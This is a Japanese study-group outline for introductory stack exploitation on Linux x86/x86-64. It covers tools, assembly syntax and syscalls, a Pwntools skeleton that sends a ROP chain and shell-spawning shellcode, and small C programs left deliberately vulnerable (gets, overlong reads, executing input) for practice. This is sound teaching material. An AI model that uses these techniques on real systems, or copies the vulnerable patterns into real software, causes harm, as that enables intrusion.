Pwn勉強会(Stack day 1)

Tools

• Disassembler
  • udcli / ndisasm
  • objdump
  • METASM / Hopper / IDA Pro
• Assembler
  • nasm
  • Pwntools
  • METASM?
• Debugger
  • gdb-peda
• Pwn toolkit
  • Pwntools
  • Ruby系でなにか

Python(Pwntools)とRuby(METASM? ctfライブラリ?)好きな方を選んで作業を進めてもらう．

x86 assembly

• Intel記法
  • データはオペランドの右から左に流れる
  • 比較命令のオペランドの順序が命令名と一致しているためわかりやすい

  • 例

      14:   8b 45 f8                mov    eax,DWORD PTR [rbp-0x8]
      17:   01 45 fc                add    DWORD PTR [rbp-0x4],eax
      1a:   83 45 f8 01             add    DWORD PTR [rbp-0x8],0x1
      1e:   83 7d f8 09             cmp    DWORD PTR [rbp-0x8],0x9
      22:   7e f0                   jle    14 <f+0x14>

• AT&T記法

  • Intel記法のオペランドと逆順

  • 例

      14:   8b 45 f8                mov    -0x8(%rbp),%eax
      17:   01 45 fc                add    %eax,-0x4(%rbp)
      1a:   83 45 f8 01             addl   $0x1,-0x8(%rbp)
      1e:   83 7d f8 09             cmpl   $0x9,-0x8(%rbp)
      22:   7e f0                   jle    14 <f+0x14>

System call

• システムコールとは
  • プログラムがカーネルとやりとりする一元化された窓口
• プログラムの動作権限
  • ユーザモード
    • 普通のプログラムが動作
    • 基本的にプロセスのメモリ内で計算しかできない．
    • それ以外のことをするためにはシステムコールを呼ぶ
  • カーネルモード
    • カーネルが動作
  • 任意の操作が可能

How to call System calls

システムコールの呼び出し方

• x86
  • int 0x80
    • INTerrupt (ソフトウェア割り込み命令)
  • システムコール番号: eax
  • 引数: ebx, ecx, edx, esi, edi, ebp
• x86-64
  • syscall命令
  • システムコール番号: rax
  • 引数: rdi, rsi, rdx, r10, r8, r9

システムコール番号

参考文献

• /usr/include/x86_64-linux-gnu/asm/unistd_32.h
• /usr/include/x86_64-linux-gnu/asm/unistd_64.h

Pwntools

Pwntools?

• for Python
• 透過的・統合的なI/Oインターフェイス
• recvuntil, interactiveなどの便利なI/O機能
• シェルコードの生成
• アセンブラ/ディスアセンブラ
• 攻撃対象アーキテクチャに合わせたバイトオーダ・定数

Pwntools example

   1 # -*- coding: utf-8 -*-
   2 from pwn import *
   3 ## exploit対象のアーキテクチャ
   4 context(arch = 'i386', os = 'linux')
   5 # context(arch = "amd64", os = "linux")
   6 ## 攻撃のサーバに接続
   7 conn = process("./example")
   8 # conn = remote("example.com", 10000)
   9 ## ROPを構成
  10 rop = ""
  11 rop += p32(0x8048330)       # mprotect
  12 rop += p32(0x804855d)       # skip 3 words
  13 rop += p32(0x20000000)      # buf
  14 ...
  15 ## シェルコードをアセンブル
  16 shellcode = asm(shellcraft.sh())
  17 ## ログ表示
  18 p = log.waitfor("Pwning")
  19 ## ": "を受信するまでrecv
  20 conn.recvuntil(": ")
  21 ## エクスプロイトを送信
  22 conn.send(rop)
  23 time.sleep(0.5)
  24 conn.send(shellcode)
  25 ## ログ表示
  26 p.success("OK")
  27 ## コンソールの入出力を攻撃対象に接続
  28 conn.interactive()

Shellcode

   1 // gcc -z execstack -fno-stack-protector -o baby1 baby1.c
   2 // -m32 / -m64 両方やってもらうよ！
   3 typedef void func();
   4 int main() {
   5     char buf[1024];
   6     write(1, "Send me shellcode: ", 19);
   7     read(0, buf, 1024);
   8     ((func *)buf)();
   9 }

Shellcode(no /bin/sh)

• chroot環境
• /bin/shが無いのでopen, read, writeを自分で行う

x86/x86-64 ABI

x86/x86_64関数呼び出しチートシート

Return-to-plt

   1 // gcc -m32 -fno-stack-protector -o baby3 baby3.c
   2 #include <stdio.h>
   3 #include <unistd.h>
   4 char buf2[128];
   5 int f() {
   6     char buf[32];
   7     system("sleep 1");
   8     gets(buf);
   9     return 0;
  10 }
  11 int main() { return f(); }

ASLR

ASLRについて説明

Return-to-libc

   1 // gcc -m32 -pie -fPIE -fno-stack-protector -o baby4 baby4.c
   2 #include <unistd.h>
   3 int f() {
   4     char buf[32];
   5     write(1, buf, 64);
   6     read(0, buf, 1024);
   7     return 0;
   8 }
   9 int main() { return f(); }

Return-to-plt revisited(x86-64) with tiny ROP

   1 // gcc -m64 -fno-stack-protector -o baby3 baby3.c
   2 #include <stdio.h>
   3 #include <unistd.h>
   4 char buf2[128];
   5 int f() {
   6     char buf[32];
   7     system("sleep 1");
   8     gets(buf);
   9     return 0;
  10 }
  11 int main() { return f(); }

ROP

   1 // gcc -m32 -static -fno-stack-protector -o baby5 baby5.c
   2 #include <unistd.h>
   3 int f() {
   4     char buf[32];
   5     read(0, buf, 1024);
   6     return 0;
   7 }
   8 int main() { return f(); }

実践

適当な問題を探す